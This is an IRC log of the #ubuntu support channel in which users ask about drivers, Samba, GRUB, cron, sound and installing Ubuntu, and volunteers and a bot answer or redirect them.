kingbeastJohnFlux, pm sent14:58
johnflux_kingbeast: thanks - I saw that but I wasn't clear on whether oracle-java6 was the same as sun-java615:00
johnflux_kingbeast: I mean, I'm sure they are pretty similar, but it's not going to muck up my package dependencies etc right?15:00
kingbeastshouldn't15:00
kingbeastjohnflux_, it should do fine, is it not in the software center?15:01
datruthAnyone use firehol for ipv6?15:01
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hp_ใช้ภาษาไทยได้ป่าว15:09
helmut_hi15:10
hp_เข้าห้องคนไทยยังไง15:10
DJones!english | hp_15:10
ubottuhp_: The #ubuntu, #kubuntu and #xubuntu channels are English only. For a complete list of channels in other languages, please visit https://wiki.ubuntu.com/IRC/ChannelList15:10
hp_หาห้องเพิ่มยังไง15:10
DJoneshp_: Please join #ubuntu-th for Ubuntu in Thailand15:12
pje335_NLjoin #ubuntu-nl15:13
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deesteHello15:18
AaronMTETA on tablet images?15:19
DJones!tablet | AaronMT15:19
ubottuAaronMT: The Ubuntu tablet can be discussed in #ubuntu-tablet or #ubuntu-discuss, please remember that #ubuntu is for support only.15:19
deesteIf I copy files from a samba share to an external hdd and then do "du -s ..." on both the directories. Shouldn't they show the same size then?15:20
VivekanandaHey everyone. I had pdftk installed but I tried upgrading once. Due to insufficient space in /home the upgrade reverted. NOw I dont have pdftk. On trying to install I am getting dependency issues15:20
NinjaTomateHey guys, from 1-10, how terrible is wubi, 10 being Windows ME?15:20
kostkonNinjaTomate, 615:21
DJones!poll | NinjaTomate15:21
ubottuNinjaTomate: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.15:21
SuperLagI am unsuccessful at getting fonts installed with Font Viewer, on a consistent basis. Every single install either fails, or Font Viewer crashes. I just want to get these fonts installed. Is there an alternative method?15:21
wellington_i never use it15:21
sevenI am undoubtedly not the first persion to ask this but does anyone know the drop time of the ubuntu touch dev release15:22
Vivekanandaanyone ?15:22
SuperLagwellington_: was that in reply to me?15:22
DJonesseven: Ask in #ubuntu-tablet they may have an idea15:23
wellington_SuperLag, was about wubi15:23
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compdocdeeste, it depends on the way the drives were formatted. Some use a different sector size so that small files will seem bigger on one drive than another15:24
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deestecompdoc: ah, ok. Any way around that?15:29
MrokiiHello. How can I find out which resolusions Grub supports? I want to set a higher resolution for Grub and TTYs.15:31
dr_willisMrokii: the /etc/default/grub  file shows a command to use15:35
Mrokiidr_willis: That command isn't available. I've tried that.15:35
dr_willisgrub res does not affect the framebuffer consoles res15:35
dr_willisits a command at the grub shell.. not bash15:36
MrokiiI see.15:36
Mrokiihttp://blog.mattrudge.net/2012/10/02/changing-the-tty-resolution-on-ubuntu-server/ -> That's the link I found.15:36
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merryman540how do I get to the linux mint help chat room from here?15:37
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Ben64!mint15:37
ubottuLinux Mint is not a supported derivative of Ubuntu. Please seek support in #linuxmint-help on irc.spotchat.org15:37
MrokiiAnd what are "framebuffer consoles"? The TTYs?15:37
holsteinmerryman540: i think all mint is on spotchat15:37
holstein!tty | Mrokii15:38
ubottuMrokii: To get to the TTY terminals 1-6, use the keystroke ctrl + alt + F1-F6 respectively (Alt+F7 will get you back to your graphical login).  To change the resolution for your TTY, see https://help.ubuntu.com/community/ChangeTTYResolution15:38
Mrokiiholstein: Thanks.15:38
dr_willisconsole =alt ctrl f#15:38
merryman540holstein: thanks.15:38
holstein^^ that resolution link is what i have noticed, though i run my servers "headless" and dont want/need to change the resolution15:38
Mrokiidr_willis: I know how to reach the TTYs I just didn't know the term "framebuffer console".15:39
merryman540so how do I get to spot chat from here (lol)?15:39
dr_willisframebuffer gives you the higher res on the consoles15:39
dr_willis!framebuffer15:39
ubottuInformation about changing your framebuffer modes in GRUB can be found at https://wiki.ubuntu.com/FrameBuffer#grub15:39
dr_willisthat guide may be out of date15:40
dr_willisbbl15:40
holsteinmerryman540: there should be documentation at the mint help sites.. but i just /connect to spotchat from my client.. you can ask "how can i connect to an irc server from xchat" or whatever client you are using15:41
Noorideenhola15:43
NastyNazwhat are some awesome programs I can run in a terminal besides finch, alpine and irssi?15:45
auronandaceNastyNaz: tmux and nano15:46
boichevNach0z, screen15:46
holsteinNastyNaz: i searched the repos for "ncurses" once15:46
genii-aroundNastyNaz: midnight commander15:47
jimbox9000Is there anyway to integrate celery with a job management system like TORQUE15:47
boichevNastyNaz, http://www.tuxarena.com/2011/06/15-great-tools-for-the-terminal/15:47
genii-aroundNastyNaz: Also links2 with svgalib or framebuffer  so you can browse with graphics from the console15:48
boichevgenii-around, didn't know that links has a framebuffer version :) I will try that :)15:49
genii-aroundboichev: It doesn't have one built-in but if you're running in an xterm it uses X's framebuffer there. If you run only in CLI you can install a video driver with framebuffer instead15:51
allu2I read the ubuntu touch UI images for nexus 7 will be released today, any idea where they can be downloaded when the release happens?15:53
DJonesallu2: Ask in #ubuntu-tablet they may have an idea15:55
allu2DJones: ah thank you :)15:55
cellofellowI have a Samba share to my raspberry pi XBMC box, and one particular folder all the files are only visible by their short 8.3 DOS-style filenames. Is there a way to turn of Samba's short filename mangling?15:57
glphvgacswhere are the setting for xterm?15:58
KamZouHi, any good way to cache LDAP credentials for laptop with ubuntu 10.10 ?15:59
tixHi16:02
tixIm on android16:02
ShizuoI approve ubuntu16:03
vincentSglphvgacs, i did  find / -name *xterm* but found nothing16:03
tixMad boring16:03
tixFuck everyone in here16:03
ShizuoAgreed16:04
DJonestix: Stop that16:04
holsteintix: check the /topic, and consider /join an offtopic channel16:04
OrgMentalcellofellow, try "mangled names = no"16:04
* vincentS Wonders why some packages show up twice in the update list ?16:05
OrgMentalcellofellow, if you want to read the deep dive :) --> http://oreilly.com/openbook/samba/book/ch05_04.html16:05
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Scarberianhello16:08
Scarberiananyone familiar with deja dup or duplicity in general?16:09
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ShizuoScarberian: That's racist16:10
Scarberianhmm?16:10
kostkon?16:11
holsteinScarberian: whats the issue?16:11
ScarberianI am about to do a first back up16:11
Scarberianubunt 12.10, my private pc16:11
Scarberiando I back up /?16:11
holsteinScarberian: i would backup what you like, and what you want/need, and what you have room for16:12
Scarberianmy root is 30 GB and my /home is 220GB16:12
echinosI'm using a virtualbox VM with windows inside to use go to meeting, but I have a horrible echo to the other people, and they can hear stuff that my ubunto host is playing16:12
echinos*ubuntu16:12
ScarberianI am doing lots tweaking, drivers etc so I would benefit from backing up / not so much my local directory?16:13
holsteinechinos: i would just not play other stuff while in a meeting.. latency might just be introduced since its a VM16:13
dcopeWhat's the channel for ubuntu phone?16:14
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holsteindcope: #ubuntu-phone16:14
dcopeholstein: thanks16:14
holsteinScarberian: i would expect to reinstall drivers16:14
echinosholstein: problem is skype bloops and stuff16:14
echinosand bad echo is happening even when I don't 'play' anything16:14
echinoseven when not talking16:14
Scarberianbackup wouldnt restore drivers?16:14
sotirisplease i need a RAT for ubuntu16:15
ShizuoNo rats here16:15
holsteinScarberian: i would expect to reinstall... or i might do a clone of the OS.. depends on what you want16:15
ShizuoWe value community16:15
holstein!ot | Shizuo16:15
ubottuShizuo: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!16:15
echinosrats are very...communal :)16:15
Shizuoholstein: Stop ratting out on people16:15
glphvgacspart16:15
glphvgacsopps16:15
DJonesShizuo: Stop wit hthe off-topic comments16:16
brianbephelp! I updated Ubuntu to 12.04.1 to 12.04.2 and now when I boot, X doesn't start. ugh.16:16
brianbephowever, I can login in tty1, run startx and everythign is ok, (except no unity)16:16
brianbepfrom /var/log/Xorg.0.log:16:16
brianbepFailed to initialize the NVIDIA kernel module.16:16
brianbepScreen(s) found, but none have a usable configuration.16:16
brianbepI've sudo apt-get purge nvidia-current, rebooted and reinstalled.16:16
FloodBot1brianbep: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.16:16
celocanth13Can I get some help with something?16:16
echinosonly if you ask16:16
holstein!ask celocanth1316:16
Kitar|st|16:16
holstein!ask | celocanth1316:16
ubottucelocanth13: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience16:17
ShizuoDJones: =[16:17
holsteinbrianbep: i saw someone with a similar issue... its not an issue with the graphics card, since, when X starts, all is well16:18
phunyguyhey everyone, I connect to an OpenVPN server with Ubuntu, and currently the server isn't set up to forward all client traffic through the tunnel, but can I explicitly tell the client to do it via the network-manager gui?16:18
celocanth13ok, whenever i open terminal and start typing nothing shows up, kind of like its black font on a black background, stuff still types but i can't see it.  Is this a known issue?16:18
holsteincelocanth13: stuff? or passwords?16:18
brianbepholstein, yes. Interestingly, after X starts, there's no Unity interface, fwiw16:18
rethusmy hdd on laptop always spin down, up, down up down up.... seems only be few seconds while the hdd run normaly, than spin down again16:18
Touhou11brianbep: Some would consider that an improvement16:19
brianbepholstein, any thoughts on what other log data I should look for.16:19
brianbepTouhou11, zing!16:19
rethusi have try hdparm -S 252 /dev/sda2, but got an error16:19
celocanth13holstein, command lines and such16:19
holsteinbrianbep: that could be driver related then.. i would try using the vesa driver to troubleshoot16:19
rethusHDIO_DRIVE_CMD(setidle) failed: Input/output error16:19
rethusany idea, what i can do?16:19
datruthAnyone use firehol for ipv6?16:19
holsteincelocanth13: does *anything* show up? is it in the terminal from ubuntu?16:19
brianbepholstein, after removing nvidia-current (not replacing with anything), lightdm does come up successfully.16:20
brianbepalso, from tty1 if i `service lightdm restart` (with the nvidia-current drivers) it starts16:20
celocanth13Holstein, yes its in the stock terminal, nothing shows up, I typed an install command and pressed enter, it appeared to be doing something but it doesnt show anything16:20
Touhou11rethus: Try "MHDD", it can check your drive, it might be failing16:20
holsteinbrianbep: so, it could be an incompatibility/bug with the proprietary driver and the kernel you have upgraded to16:20
Touhou11rethus: System Rescue CD contains MHDD, probably other ways to run it16:21
holsteincelocanth13: i would try another terminal.. i would try as another user16:21
brianbepholstein, but after manually starting x (`startx` from tty1), modprobe nvidia works16:21
celocanth13ok, can i download another terminal throw the market (whatever its called)?16:21
holsteincelocanth13: thats one troubleshooting step i suggest.. the other user as well16:22
holstein!tty | celocanth1316:22
ubottucelocanth13: To get to the TTY terminals 1-6, use the keystroke ctrl + alt + F1-F6 respectively (Alt+F7 will get you back to your graphical login).  To change the resolution for your TTY, see https://help.ubuntu.com/community/ChangeTTYResolution16:22
celocanth13holstein, ubottu, ok thanks16:23
andreas_hello everyone! does anyone know if there is a channel for voyager?16:24
Touhou11andreas_: #startrek16:24
andreas_:P16:25
andreas_voyager os 12.1016:25
flintsermy ubuntu crashes when copying files between hard disks. i want to copy my music (~80gb) to another hd. i've tried dd and copy16:25
andreas_its a french project16:25
DJones!alis | andreas_ Not one I've heard of, but the bot will help you search,16:25
ubottuandreas_ Not one I've heard of, but the bot will help you search,: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu* or /msg alis list *http*16:25
rethusTouhou11: k. thanks16:25
flintserand cp16:25
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holsteinflintser: try moving something smaller.. try using grsync16:25
celocanth15this is an active channel16:26
ShizuoAs active as a praying nun16:27
holstein!ot | Shizuo16:27
ubottuShizuo: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!16:27
flintserholstein: i tried to move few files with nautilus and cp after first crash. afrer those failed i thought screw cp and tried dd.after that it crashed too.16:28
ShizuoDon't be mean16:28
celocanth15ive never used a channel with this many users16:28
holsteinflintser: try smaller files.. try with grsync16:28
flintserdunno if few mp3 files are too big for it to handle :) grync crashed too. i cant do anything and whole system froze16:32
holsteinflintser: crashed in what way? can you get to tty? can you copy to another location? another drive?16:33
flintserfroze, cant go anywhere. cant go in tty. need to hard reset. i'll test copying files from another drive16:35
samburghey guys where is daniel.holbach16:35
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vincentSflintser, if you have the space try placing it in a image then place that image on ur new disk :S16:36
SKC#gimp16:39
maslenHow can I edit the contents of the "Places" menu ?16:41
FloepsieOla16:44
Floepsiemy laptop on windows is very silent with the fans. But on ubuntu based system the fan will go on and spinning for 50% always how to bring that down to normal like windows does16:45
vincentSmaslen, are you using Dolphin browser16:46
maslenvincentS: I'm using gnome-panel on ubuntu 12.1016:47
ax562ok...back...lol16:47
takeyourhatoffI have installed network-manager-pptp-gnome and network-manager-pptp, but the pptp option does not appear when adding a VPN, how can I fix this>16:47
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Floepsiemy laptop on windows is very silent with the fans. But on ubuntu based system the fan will go on and spinning for 50% always how to bring that down to normal like windows does16:48
ax562I have an intel duo core 2 x86 T7300 and was wondering which version of 12.04LTS to install16:48
ax562AMD, i386?16:48
maslenFloepsie: Windows probably has more efficient drivers, and things are just heating up.16:48
ax562and also whick version 12.04.1 or 12.04.2?16:49
ax562which16:49
genii-aroundax562: amd64 ... it's a 64bit instruction set on that cpu16:49
k1lax562: 12.04.2 is the latest version so you will not need to run all the updates to from 12.04.1 to 12.04.216:49
bean__genii-around: i dont think so16:49
bean__he said x8616:50
bean__not x86_6416:50
Questvirtualhost and proxy for apache with tomcate config aid http://pastebin.ca/2316370   ?16:50
k1lt7300 is a 64bit dualcore cpu16:50
ax562yes16:50
ax56264 bit16:50
flintsermy partitions were screwed by the unfinished dd, holstein, maybe grsync failed because of that16:50
yggdrasilhello, I was wondering if anybody knew a way to install ubuntu to multiple drives at once.16:50
k1lbean__: im sure he meant x86 like "not ARM"16:50
bean__hm ok16:51
bean__then yes, amd64, 12.04.2.16:51
ax562lol...not sure why this always has to be the most confusing part16:52
ax562worst of all this should be the easiest so there is more users smh...16:52
flintserbut i tried to reset it by fdisk and then mkfs. mkfs gets frozen but i can stop it. i have never used gpatted because it is always stuck at scanning devce. this has been always like this... :/16:52
k1lits just amd64 because its patented from amd. thats all. no matter if the cpu is from intel or amd16:52
flintseri have waited over 20 min once and it never started16:52
ax562my point is put a note or something16:54
ax562Imagine if it was this hard to install all other OS'...there wouldn't be anyone installing OS on their computers16:54
vincentSyggdrasil, dd if=/dev/sdX of=- | tee >(dd of=/dev/sdX) >(dd of=/dev/sdX) >(dd of=/dev/sdX) and more16:55
SystemTyranthow do I execute a command as root (like sudo) where the password is pulled from a file?16:55
Questcan anyone answer 3. in  http://stackoverflow.com/questions/14990973/tomcat7-and-apache2-on-ubuntu-in-integration-with-some-sort-of-proxy ?16:55
Dogma666brasil?16:56
Dogma666alguem do brasil?16:56
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btorchanyone know what's up wih precise and syslog-ng for remote loggin ? I have tcp wrappers disabled, no iptables , I can telnet to the tcp port locally but from a remote box it just hangs16:56
colin2030precise pangolin running really slow on my powerbook G4. Any issues or should I try earlier version?16:57
rkidI can pair my bluetooth to my macbook pro retina but i cannot see headset in sound devices.. if i write pactl list cards short I only see 0 alsa_card.pci-0000_00_1b.0 module-alsa-card.c.... What can I do?16:57
ax562What is Quantal (12.10) hardware enablement stack for?16:57
ax562is that just updates like someone said, hw accel etc?16:58
ax562I'm actually downloading 12.04.2LTS AMD as we speack...just wanted to know 1 vs 216:59
kostkonax562, the new stack for 12.04.2 means better hardware support, new drivers and newer versions of existing drivers.17:01
vincentSrkid, you could go here https://help.ubuntu.com/community/BluetoothHeadset   and see if it helps17:01
holsteinflintser: dd is the wrong too for that job17:02
holsteintool*17:02
Questcan anyone answer 3. in  http://stackoverflow.com/questions/14990973/tomcat7-and-apache2-on-ubuntu-in-integration-with-some-sort-of-proxy ?17:03
holsteinflintser: i would make sure the system is running stable on the installed partition, and then try and copy to something else17:03
holsteinflintser: there is a file size limit with fat3217:04
rkidvincentS: i gave that a little try.. but i cannot load the module btheadset pactl load-module module-alsa-sink device=btheadset because it did not exist?17:04
ax562OK, sounds standard..17:04
ax562THANK YOU ALL!17:04
awc737does anyone know which one works better- wine IE or playonlinux IE?17:04
* Quest waits17:04
* awc737 also waits17:04
shantornawc737 in the past i had better luck with POL better17:06
* awc737 gets tired of waiting, shoots Quest in the face and runs17:06
awc737oh, thanks shantorn17:06
awc737I guess I take that back, sorry Quest. get the defibulator17:07
shantorni just necer use IE anymore17:07
holsteinQuest: i would take that to the server channel, and to the support venues for the acutal applications17:08
dikiwhat were the tools that you specify a binary executable and it prints information such as object's header i.e it's 32-bit or 64-bit, little or big endian17:09
icerootdiki: file17:10
sgtkilljoydiki: cat17:10
flintserholstein: i located the problem in hard disk. the source is somehow corrupted. i tried reflect in windows and it crashed the whole system too17:10
dikiI am sure it started with obj17:10
icerootdiki: try file17:10
celsopeople, does someone knows how to fix a dummy sound output? i am using a intel core i3 with hd3000 graphics and ubuntu 12.04.2 ( hardware stack enabled) guives me no sound.17:10
awc737shantorn: your missing out. the internet is awesome17:10
topper4125!info file17:11
ubottufile (source: file): Determines file type using "magic" numbers. In component main, is important. Version 5.11-2 (quantal), package size 17 kB, installed size 92 kB17:11
holstein!sound | celso17:11
ubottucelso: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.17:11
icerootdiki: also use "obj TAB TAB" which will show objcopy           objdump17:11
dikianything else?17:11
icerootdiki: what is wrong with file?17:11
holsteincelso: i would try pavucontrol if you havent.. if the device is not listed in "aplay -l" you wont hear anything17:11
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mohamed_exit17:12
mohamed_quit17:12
kostkoncelso, what's the output of:  aplay -l17:12
icerootmohamed_: /wc17:12
kostkonoh holstein already said that17:12
shantornawc737 i think you missunderstoos, i dont use internet explorerer, i use FF mainly and for college i use Chrome17:13
celsokostkon the output is nothing. it doesn't show anything17:13
VilleVicioushi! I got a new acer aspire one netbook and I'm gonna put linux there. Do you recommend usin the basic 12.10 or lubuntu or some such lightweight distro? I've been running an 12.04 on my old eeepc 901.17:13
holsteincelso: i usually try live CD's to try other kernel and alsa versions..17:13
awc737VilleVicious: debian 7 is the best17:13
holsteinVilleVicious: try them live and see17:14
bazhangawc737, stop that17:14
holstein!ot | awc73717:14
ubottuawc737: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!17:14
awc737huh17:14
awc737isnt ubuntu built on debian 7?17:14
bazhang!behelpful | awc73717:14
ubottuawc737: As our !guidelines say, "When helping, be helpful". If you're not familiar with the issue at hand, let someone else handle it instead of making !offtopic comments or jokes.17:14
holsteinVilleVicious: i have run the normal full ubuntu on my netbooks.. but lubuntu is a nice lighter choice if you prefer.. with xubuntu being somewhere in the middle, bascially17:14
celsoholstein the problem is that after i select the intel card, the sound disapears. with the live cd and with my both ati and intel cards working at the same time, i have sound.17:15
holsteincelso: select in what way?17:15
kostkoncelso,  lspci | grep audio17:15
celsoholstein through the vgaswitcheroo17:15
holsteincelso: thats VGA switch.. if its crashing audio, dont use it17:16
celsokostkon lspci | grep audio dont guive anything.17:16
celsoholstein: but it wasn't guiving me any problem with ubuntu 12.04.1.17:17
holsteincelso: i would just go back then..17:17
topper4125On my netbooks, I tend to run Ubuntu with XFCE as opposed to just running xubuntu, only because I perfer some of the default apps installed in ubuntu over xubuntu (nautilus over Thunar, gedit over leafpad... stuff like that)17:17
icerootwill mdadm show errors in the welcome-message when connecting with ssh?17:17
celsoholstein: but this is a bug and what it seems, its afecting some people, and i want to know what is causing it to help the devs fixing it.17:18
holsteincelso: well, im not sure, but i think its the vga switching.. is that from a PPA?17:20
holsteincelso: if so, purge it, and test, and report17:21
javieritohello all, i am a spanish deaf and have a question (sorry by my noob english)17:21
celsoholstein: nop. was everything installed by default. i just edited rc/local file to add comands for turn off my ati card17:22
holsteincelso: then, just keep troubleshooting, and look for bug reports already filed17:22
holsteincelso: its challening since not a lot of users, much less developers have that hardware17:22
celsoholstein: well, i know but if we don't try it, we can't expect better hardware support on ubuntu.17:23
javieritoi like administrate the system ussing the administrator, install programs... and finished all ok... i now like one user join, use programs, download files porn photos and many things, but just the user exit, and other user join the desktop is clean and same the first configuration...17:24
javieritoi like find help but not know who need find17:24
celsobut thanks for the help guys! i will see what is going on with my audio17:25
IrcDroidClienttest17:26
tomas_I deleted my admin account. Dont see it anymore in login screen. Im now logged in with it in recovery mode and im in root.. what to do ?17:26
Morgawr`urdhello, I just installed ubuntu and gnome 3 (not unity) on top of it. I started installing some themes to get a better look but no matter what, every custom theme (except the default theme) have the window titlebars that all look the same (and are very ugly)17:26
Morgawr`urdeven after I refresh gnome the titlebar stay the same, am I missing something?17:26
icerootjavierito: have a look at the guest-account or at "kiosk-mode" or write a logon-script which is cleaning the home17:27
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jean_bratwhich is a better audio player in Gnome ubuntu to synch MP3/FLAC files to ipod?17:28
popescu93 /j #rosedu17:28
javieritoiceroot the problem the guestaccount have perm to mod the desktop (buttons, bar)17:29
javieritothe logon scritpts to clear the home its a nice help, ty17:29
javieritoneed find kiosk-mode too ty17:31
SonikkuAmericaQuickie: Is 32-bit support for Ubuntu ending anytime before 2017?17:34
GoranekHello guys17:35
LaserSharkSonikkuAmerica, i don't think it's ending anytime soon17:35
GoranekCan someone tell me how to change ALT key in Irssi? DWM is using alt key :/17:35
agresterHey guys, got a dumb question, an upgrade borked by packages and I can't install Teamviewer now because of an infinite dependency loop.  How can I undo this upgrade using "dist-upgrade" somebody on this chat channel suggested a really simple method and I need to fix my system now17:36
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sam_Hi , Im using macchanger on ubuntu 12.04 to change my mac. this is the command first i turn off my computer wireless device (Fn+F3) and then sudo macchanger -r wlan0,, but after some times it goes back to default mac17:38
sam_any idea what i can do to change it permanenty17:38
agresterThis is so messed up, apt-get is removing all ubuntu-desktop packages and it's totally messing up my system17:39
sam_made a free node for on #macchanger please join if you have used it before17:42
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iamsolosthello everyone17:42
iamsolosthow do I REINSTALL ubuntu? I'm trying to do it like I installed from a usb and a disc, but it's just not working.17:43
iamsolostI egt errors.17:43
iamsolostget*17:43
sam_whats your error iamsolost?17:44
iamsolostIt doesn't say....17:44
k1liamsolost: where is the problem?17:44
_jayHey all, quick question- I currently have a partitioned hard drive with multiple ubuntus/grub on it, and want to add a second drive to add other flavors of ubuntu and linux- will grub see these as just another bootable partition? Do I need to set the HD configuration in a specific way?17:44
iamsolostI tried opening wubi or whatever and it said "Problem loading archive" or someting similar.17:45
iamsolostThen when I did it from the disc, it tells me something about package manager then it takes me to the software manager and that's all17:45
sam_did you uninstall the last wubi you installed before?17:45
iamsolostNo.......... I don't know how to do anything17:46
nexus7userhas anyone else installed ubuntu for tablets on their nexus device today?17:46
iamsolostI just want a clean Ubuntu install.17:46
sam_go to conrol panel and the uninstall . uninstall wubi17:46
ben1066I did, it works, though I can't work out what it's using for display, it doesnt appear to be using X1117:46
ben1066though it is installed...17:46
tomas__hey, i know the rootpassword. recovery mode go root works and so on.. just cant see my name in login screen ja can only log in as quest ???? What to do ???17:47
holsteiniamsolost: download an iso and try it live17:47
iamsolostholstein17:47
sam_anybody knows about macchanger please say sth17:47
iamsolostI am on Ubuntu right now...17:47
holsteintomas__: you dont have a root account, by default17:47
iamsolostI want to reformat basically17:47
Floepsiewhere can i find Integrated Intel® GMA HD drivers of package ?17:47
iamsolosta clean, fresh install17:47
iBot_23Hi there, I think its Distro related thats why I am asking here: When I try to give crontab a new cronjob via standard in it rejects it and dont know why: http://pastebin.com/4HtNhqY417:47
holsteiniamsolost: then, log out, load the installation cd,and format17:47
nexus7userben, im installing on n7 right now. i hope it doesnt suck too bad.17:47
sam_don't tell me you are trying to open a exe file on ubuntu!17:47
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sam_go to windows then open wubi17:48
holsteinnexus7user: try #ubuntu-phone17:48
iamsolostI've shut the computer down and started it back up with the disc in, but it doesn't do anything17:48
holsteiniamsolost: you'll run the installer again17:48
Floepsiewhere can i find Integrated Intel® GMA HD drivers of package ?17:48
nexus7userk17:48
sam_or you can boot from you live usb or cd or whatever you have ubuntu on it17:48
holstein!patience | Floepsie17:48
ubottuFloepsie: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/17:48
holsteinFloepsie: most intel drivers are just in the kernel.. whats the issue?17:48
iamsolostI don't have windows at all17:48
iBot_23[Ubuntu 12.04.1 LTS] up to date, but that doesnt affect cron / crontab I think17:48
holsteiniamsolost: correct.. you'll load the installer disc again, and reinstall.. reformat and reinstall17:48
sam_ok are you trying to install ubuntu on windows or separately?17:49
valterhello17:49
valteri have a linmac17:49
sam_need help with macchanger17:49
Floepsiemy laptop on windows is very silent with the fans. But on ubuntu based system the fan will go on and spinning for 50% always how to bring that down to normal like windows does17:49
valtera mac which has linux on it17:49
iamsolost.................... You know when you fuck up your Windows and you basically re-install Windows with your disc? That's what I'm trying to do, but with Ubuntu.17:49
holstein!enter | valter17:49
ubottuvalter: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!17:49
IdleOneiamsolost: Please don't swear in here17:50
valteri have really old Ubuntu Linux 5.1 on my mac.cant get newer one either17:50
tomas__holstein:  i have admin i deleted.. it still is there somewhere cos if i try to make it it says it already exist and i can see it cat /etc/passwd17:50
tomas__just cant see it17:50
tomas__or use it17:50
iamsolostWe're all big boys.17:50
valterdoes anyone talk with me ?17:50
holsteintomas__: admin is *not* root necessarily.. an admin account can sudo.. you have no root accont17:50
sam_are you on a black page which says rapaire your grub2?17:50
holsteinaccount*17:51
Bsimsiamsolost: is it just one package or the entire system?17:51
iamsolostbsims: what? I don't know. I don't know anything about linux, I got it like 8 hours ago.17:51
sam_*repair17:51
tomas__holstein: but when i change user accounts add or remove and give pass it still ask that "xxx" password17:51
Bsimsiamsolost: Ok start at the beginning what is it doing wrong?17:52
IdleOneiamsolost: You have no idea how big any of us are. This community has rules and we expect everyone to follow them. Please read the channel guidelines, see /msg ubottu !guidelines17:52
joyce_Hi17:52
agresterSo, how do I reset to a previous install state using dist-upgrade?17:52
sam_does your windows start up now? or you are stucked on black pages17:52
iamsolostBsims:  I just can't open wubi..........17:53
Bsimsiamsolost:  sorry never used wubi I can't help ya17:53
roberto__ciao17:53
iBot_23Can someone confirm that on his 12.04.01 LTS machine he/she is able to add cronjobs to crontab via STDIN? (crontab "* * * * * /bin/echo test") Am I doing something wrong?17:53
iamsolostBsims: Then how did you install Ubuntu?17:53
iamsolostBsims: I just wanna reinstall for christ sake.17:54
joyce_Hello17:54
joyce_Sex?17:54
Bsimsiamsolost: I installed it replacing windows, yes you should be able to reinstall with no problems17:54
Floepsielol17:54
sam_macchanger last call if you know it tell me need a little help with it17:54
ikoniaiBot_23: cron doesn't have a terminal17:54
ikoniajoyce_: no, not here, ubuntu support only17:54
ikoniaiBot_23: so you can't "echo"17:54
bazhangjoyce_, wrong network17:54
joyce_What's this17:54
Bsimsworst case delete the wubi files17:54
joyce_For wat17:54
ikoniajoyce_: ubuntu support17:54
joyce_Means?17:54
Floepsielinux17:54
ikoniajoyce_: means it's for ubuntu linux support chat17:54
iamsolostSigh.17:54
Floepsieoperating system17:55
joyce_??17:55
iBot_23ikonia: cron is able to echo into files AFAIK.17:55
joyce_Ic17:55
ikoniaiBot_23: yes, your command isn't doing that17:55
iBot_23ikonia: my problem is that i cannot modify cron via standard in in any way. it just dont accept any input via std in.17:55
ikoniaiBot_23: you can change cron no issues, how are you trying to change cron17:56
iBot_23ikonia: crontab "@reboot /bin/sleep 60 ; ~/Octopus_udp 2000"17:57
ikoniaiBot_23: you don't edit cron like that17:57
gsxarakiriPeople, how to insrall ubuntu on windows7?17:57
meLonHas anybody here gotten pulsaudio running over LAN with 12.10?17:58
sliddjurgrep ENCRYPT_METHOD /etc/login.defs is this the encryption method of passwords in /etc/shadow17:58
Bsimsgsxarakiri: I am fond of using openbox for that17:58
iBot_23ikonia: how do I edit cron then if I want to edit it via a shell script? (http://stackoverflow.com/questions/9083467/writing-a-shell-script-to-install-cron-job)17:58
Bsimser virtualbox rather17:58
ikoniaiBot_23: you don't edit it via a shell script17:58
ikoniaiBot_23: you edit it with an editor, or load a pre-built cronfile17:58
ikoniamanipulating the crontab file manually is not advised17:58
k1l!install | gsxarakiri17:58
ubottugsxarakiri: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall - Don't want to use a CD? See http://tinyurl.com/3exghs - See also !automate17:58
gsxarakirisorry I talkong about ubuntu for phone17:59
iBot_23ikonia: ok so I will load a prebuilt cronfile to my ami thanks17:59
k1l!phone | gsxarakiri17:59
ubottugsxarakiri: Ubuntu for phone has been announced, see http://www.ubuntu.com/devices/phone to find out more and to sign up for progress updates. Discussion is in #ubuntu-phone17:59
valterHELLO WORLD17:59
valterwhere are you all from17:59
k1l!ot | valter17:59
ubottuvalter: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!17:59
valterok.then i have another question.where can i get new flash player for linux 5.1 for mac ?18:00
valtermine is too old18:00
k1lvalter: linux 5.1 is not supported here18:00
bazhangvalter, ubuntu 5.10 is not supported for many years now18:01
valterthats bad.18:01
k1lvalter: what does "lsb_release -r" in terminal say?18:01
valteri cant get newer one for imac g3 either18:01
bazhangvalter, sure you can18:01
valterkll,dont know18:01
valterok brb18:02
genii-aroundvalter: I'm pretty sure there are later versions of Ubuntu for your Mac, just they are community ports and not official releases.18:02
genii-around!ppc | valter18:02
ubottuvalter: PowerPC.  Formerly used by Apple for the Macintosh line of computers. Variants are now used in popular gaming consoles. PPC was a fully supported Ubuntu architecture up to and including edgy. It is now a community port, see https://wiki.ubuntu.com/PowerPCFAQ18:02
k1lvalter: you should type/copy that and paste the result in here18:02
Floepsie how to switch by irssi to the servertab and back ?18:03
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TwoFacedebian still makes a powerpc release18:04
